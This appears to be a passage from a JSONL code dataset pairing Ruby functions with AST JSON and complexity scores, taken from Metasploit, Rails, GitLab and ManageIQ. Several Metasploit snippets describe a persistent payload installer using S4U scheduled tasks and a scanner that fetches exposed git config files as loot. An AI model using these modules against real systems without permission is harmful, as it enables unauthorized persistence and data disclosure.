'Name of exe on remote system']),\n OptString.new('RTASKNAME', [false, 'Name of task on remote system']),\n OptString.new('PATH', [false, 'PATH to write payload', '%TEMP%'])\n ]\n )\n\n register_advanced_options(\n [\n OptString.new('EVENT_LOG', [false, 'Event trigger: The event log to check for event']),\n OptInt.new('EVENT_ID', [false, 'Event trigger: Event ID to trigger on.']),\n OptString.new('XPATH', [false, 'XPath query'])\n ]\n )\n end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Manage User Level Persistent Payload Installer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Creates a scheduled task that will run using service-for-user (S4U).\\n\"]},{\"type\":\"str\",\"children\":[\" This allows the scheduled task to run even as an unprivileged user\\n\"]},{\"type\":\"str\",\"children\":[\" that is not logged into the device. This will result in lower security\\n\"]},{\"type\":\"str\",\"children\":[\" context, allowing access to local resources only. The module\\n\"]},{\"type\":\"str\",\"children\":[\" requires 'Logon as a batch job' permissions (SeBatchLogonRight).\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Thomas McCarthy \\\"smilingraccoon\\\" <smilingraccoon[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"Brandon McCann \\\"zeknox\\\" <bmccann[at]accuvant.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-01-02\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_railgun_api\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_config_getenv\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_config_getuid\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"FREQUENCY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Schedule trigger: Frequency in minutes to execute\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXPIRE_TIME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Number of minutes until trigger expires\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"TRIGGER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Payload trigger method\"]},{\"type\":\"str\",\"children\":[\"schedule\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"event\"]},{\"type\":\"str\",\"children\":[\"lock\"]},{\"type\":\"str\",\"children\":[\"logon\"]},{\"type\":\"str\",\"children\":[\"schedule\"]},{\"type\":\"str\",\"children\":[\"unlock\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"REXENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Name of exe on remote system\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"RTASKNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Name of task on remote system\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"PATH to write payload\"]},{\"type\":\"str\",\"children\":[\"%TEMP%\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"EVENT_LOG\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Event trigger: The event log to check for event\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"EVENT_ID\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Event trigger: Event ID to trigger on.\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"XPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"XPath query\"]}]}]}]}]}]}]}","id":"f9f60ef9-adb2-496f-ab59-be7908f4b378"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/powershell.rb","start_line":55,"raw_source":"def make_subs(script, subs)\n subs.each do |set|\n script.gsub!(set[0], set[1])\n end\n\n script\n end","complexity_score":6.08,"ast_json":"{\"type\":\"def\",\"children\":[\"make_subs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"script\"]},{\"type\":\"arg\",\"children\":[\"subs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"set\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script\"]},\"gsub!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvar\",\"children\":[\"script\"]}]}]}","id":"a34f63c7-bdeb-4386-a078-4189ee6b7034"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/erb_util_test.rb","start_line":60,"raw_source":"def test_newline_inside_tag\n source = \"Posts: <%= \\n @post.length %> <% puts 'hi' %>\\nfoo <%\"\n actual_tokens = tokenize source\n assert_equal [[:TEXT, \"Posts: \"],\n [:OPEN, \"<%=\"],\n [:CODE, \" \\n @post.length \"],\n [:CLOSE, \"%>\"],\n [:TEXT, \" \"],\n [:OPEN, \"<%\"],\n [:CODE, \" puts 'hi' \"],\n [:CLOSE, \"%>\"],\n [:TEXT, \"\\nfoo \"],\n [:OPEN, \"<%\"],\n ], actual_tokens\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_newline_inside_tag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"str\",\"children\":[\"Posts: <%= \\n @post.length %> <% puts 'hi' %>\\nfoo <%\"]}]},{\"type\":\"lvasgn\",\"children\":[\"actual_tokens\",{\"type\":\"send\",\"children\":[null,\"tokenize\",{\"type\":\"lvar\",\"children\":[\"source\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"TEXT\"]},{\"type\":\"str\",\"children\":[\"Posts: \"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"OPEN\"]},{\"type\":\"str\",\"children\":[\"<%=\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"CODE\"]},{\"type\":\"str\",\"children\":[\" \\n @post.length \"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"CLOSE\"]},{\"type\":\"str\",\"children\":[\"%>\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"TEXT\"]},{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"OPEN\"]},{\"type\":\"str\",\"children\":[\"<%\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"CODE\"]},{\"type\":\"str\",\"children\":[\" puts 'hi' \"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"CLOSE\"]},{\"type\":\"str\",\"children\":[\"%>\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"TEXT\"]},{\"type\":\"str\",\"children\":[\"\\nfoo \"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"OPEN\"]},{\"type\":\"str\",\"children\":[\"<%\"]}]}]},{\"type\":\"lvar\",\"children\":[\"actual_tokens\"]}]}]}]}","id":"ea53b0fe-98f0-4232-8ad3-e6a41713c900"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/projects/user_contributed_projects_resolver.rb","start_line":38,"raw_source":"def resolve_with_lookahead(**args)\n contributed_projects = ContributedProjectsFinder.new(\n user: user,\n current_user: current_user,\n params: finder_params(args)\n ).execute\n\n return apply_lookahead(contributed_projects) if args[:include_personal]\n\n apply_lookahead(contributed_projects.joined(user))\n end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_with_lookahead\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contributed_projects\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContributedProjectsFinder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"finder_params\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"include_personal\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apply_lookahead\",{\"type\":\"lvar\",\"children\":[\"contributed_projects\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"apply_lookahead\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contributed_projects\"]},\"joined\",{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]}]}","id":"5531e6fc-ae3f-486c-9d08-e8408101a5cf"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/hardware/automotive/uds.rb","start_line":210,"raw_source":"def get_engine_coolant_temp(bus, src_id, dst_id, opt = {})\n opt['MAXPKTS'] = 1\n packets = get_current_data(bus, src_id, dst_id, 0x05, opt)\n return {} if packets.nil?\n return packets if packets.key? \"error\"\n return packets unless packets.key? \"Packets\"\n celsius = packets[\"Packets\"][0][\"DATA\"][3].hex - 40\n fahrenheit = celsius * 9 / 5 + 32\n packets[\"TEMP_C\"] = celsius\n packets[\"TEMP_F\"] = fahrenheit\n packets\n end","complexity_score":28.9,"ast_json":"{\"type\":\"def\",\"children\":[\"get_engine_coolant_temp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bus\"]},{\"type\":\"arg\",\"children\":[\"src_id\"]},{\"type\":\"arg\",\"children\":[\"dst_id\"]},{\"type\":\"optarg\",\"children\":[\"opt\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"MAXPKTS\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"packets\",{\"type\":\"send\",\"children\":[null,\"get_current_data\",{\"type\":\"lvar\",\"children\":[\"bus\"]},{\"type\":\"lvar\",\"children\":[\"src_id\"]},{\"type\":\"lvar\",\"children\":[\"dst_id\"]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"lvar\",\"children\":[\"opt\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packets\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packets\"]},\"key?\",{\"type\":\"str\",\"children\":[\"error\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packets\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packets\"]},\"key?\",{\"type\":\"str\",\"children\":[\"Packets\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packets\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"celsius\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packets\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Packets\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"str\",\"children\":[\"DATA\"]}]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},\"hex\"]},\"-\",{\"type\":\"int\",\"children\":[40]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fahrenheit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"celsius\"]},\"*\",{\"type\":\"int\",\"children\":[9]}]},\"/\",{\"type\":\"int\",\"children\":[5]}]},\"+\",{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packets\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"TEMP_C\"]},{\"type\":\"lvar\",\"children\":[\"celsius\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packets\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"TEMP_F\"]},{\"type\":\"lvar\",\"children\":[\"fahrenheit\"]}]},{\"type\":\"lvar\",\"children\":[\"packets\"]}]}]}","id":"7d3d9585-1257-41bf-95d9-ff6eb0b9807b"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/time_with_zone.rb","start_line":507,"raw_source":"def is_a?(klass)\n klass == ::Time || super\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"is_a?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Time\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"9bb715da-ed64-4c9a-a6a6-7272dccdc312"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/redirection.rb","start_line":94,"raw_source":"def path(params, request)\n if block.match(URL_PARTS)\n path = interpolation_required?($1, params) ? $1 % escape_path(params) : $1\n query = interpolation_required?($2, params) ? $2 % escape(params) : $2\n fragment = interpolation_required?($3, params) ? $3 % escape_fragment(params) : $3\n\n \"#{path}#{query}#{fragment}\"\n else\n interpolation_required?(block, params) ? block % escape(params) : block\n end\n end","complexity_score":31.1,"ast_json":"{\"type\":\"def\",\"children\":[\"path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block\"]},\"match\",{\"type\":\"const\",\"children\":[null,\"URL_PARTS\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"interpolation_required?\",{\"type\":\"nth_ref\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]},\"%\",{\"type\":\"send\",\"children\":[null,\"escape_path\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"nth_ref\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"interpolation_required?\",{\"type\":\"nth_ref\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[2]},\"%\",{\"type\":\"send\",\"children\":[null,\"escape\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"nth_ref\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fragment\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"interpolation_required?\",{\"type\":\"nth_ref\",\"children\":[3]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"nth_ref\",\"children\":[3]},\"%\",{\"type\":\"send\",\"children\":[null,\"escape_fragment\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"nth_ref\",\"children\":[3]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fragment\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"interpolation_required?\",{\"type\":\"send\",\"children\":[null,\"block\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block\"]},\"%\",{\"type\":\"send\",\"children\":[null,\"escape\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"send\",\"children\":[null,\"block\"]}]}]}]}","id":"3be35547-3e61-4569-9708-983295d3c520"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/git_scanner.rb","start_line":84,"raw_source":"def git_config\n res = req('config')\n config_uri = git_uri('config')\n unless res\n vprint_error(\"#{config_uri} - No response received\")\n return\n end\n vprint_status(\"#{config_uri} - HTTP/#{res.proto} #{res.code} #{res.message}\")\n\n return unless res.code == 200 && res.body =~ /\\[(?:branch|core|remote)\\]/\n\n print_good(\"#{config_uri} - git config file found\")\n\n report_note(\n host: rhost,\n port: rport,\n proto: 'tcp',\n type: 'git_config_disclosure',\n data: { uri: config_uri }\n )\n\n path = store_loot('config', 'text/plain', rhost, res.body, config_uri)\n print_good(\"Saved file to: #{path}\")\n end","complexity_score":26.43,"ast_json":"{\"type\":\"def\",\"children\":[\"git_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"req\",{\"type\":\"str\",\"children\":[\"config\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config_uri\",{\"type\":\"send\",\"children\":[null,\"git_uri\",{\"type\":\"str\",\"children\":[\"config\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_uri\"]}]},{\"type\":\"str\",\"children\":[\" - No response received\"]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_uri\"]}]},{\"type\":\"str\",\"children\":[\" - HTTP/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"proto\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"message\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\[(?:branch|core|remote)\\\\]\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config_uri\"]}]},{\"type\":\"str\",\"children\":[\" - git config file found\"]}]}]},{\"type\":\"send\",\"children\":[null,\"report_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"git_config_disclosure\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"config_uri\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"config\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},{\"type\":\"lvar\",\"children\":[\"config_uri\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Saved file to: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]}]}","id":"7d10f15d-bbc0-48c9-a586-77590460ce43"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/file_depot_mixin.rb","start_line":51,"raw_source":"def get_uri_prefix(uri_str)\n return nil if uri_str.nil?\n\n # Convert all backslashes in the URI to forward slashes\n uri_str.tr!('\\\\', '/')\n\n # Strip any leading and trailing whitespace\n uri_str.strip!\n\n scheme, _userinfo, _host, _port, _registry, _path, _opaque, _query, _fragment = URI.split(URI::DEFAULT_PARSER.escape(uri_str))\n scheme\n end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_uri_prefix\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri_str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri_str\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri_str\"]},\"tr!\",{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri_str\"]},\"strip!\"]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scheme\"]},{\"type\":\"lvasgn\",\"children\":[\"_userinfo\"]},{\"type\":\"lvasgn\",\"children\":[\"_host\"]},{\"type\":\"lvasgn\",\"children\":[\"_port\"]},{\"type\":\"lvasgn\",\"children\":[\"_registry\"]},{\"type\":\"lvasgn\",\"children\":[\"_path\"]},{\"type\":\"lvasgn\",\"children\":[\"_opaque\"]},{\"type\":\"lvasgn\",\"children\":[\"_query\"]},{\"type\":\"lvasgn\",\"children\":[\"_fragment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"split\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"DEFAULT_PARSER\"]},\"escape\",{\"type\":\"lvar\",\"children\":[\"uri_str\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"scheme\"]}]}]}","id":"76f51213-02ca-48f1-8d8a-ad9b9ea4ed3d"} 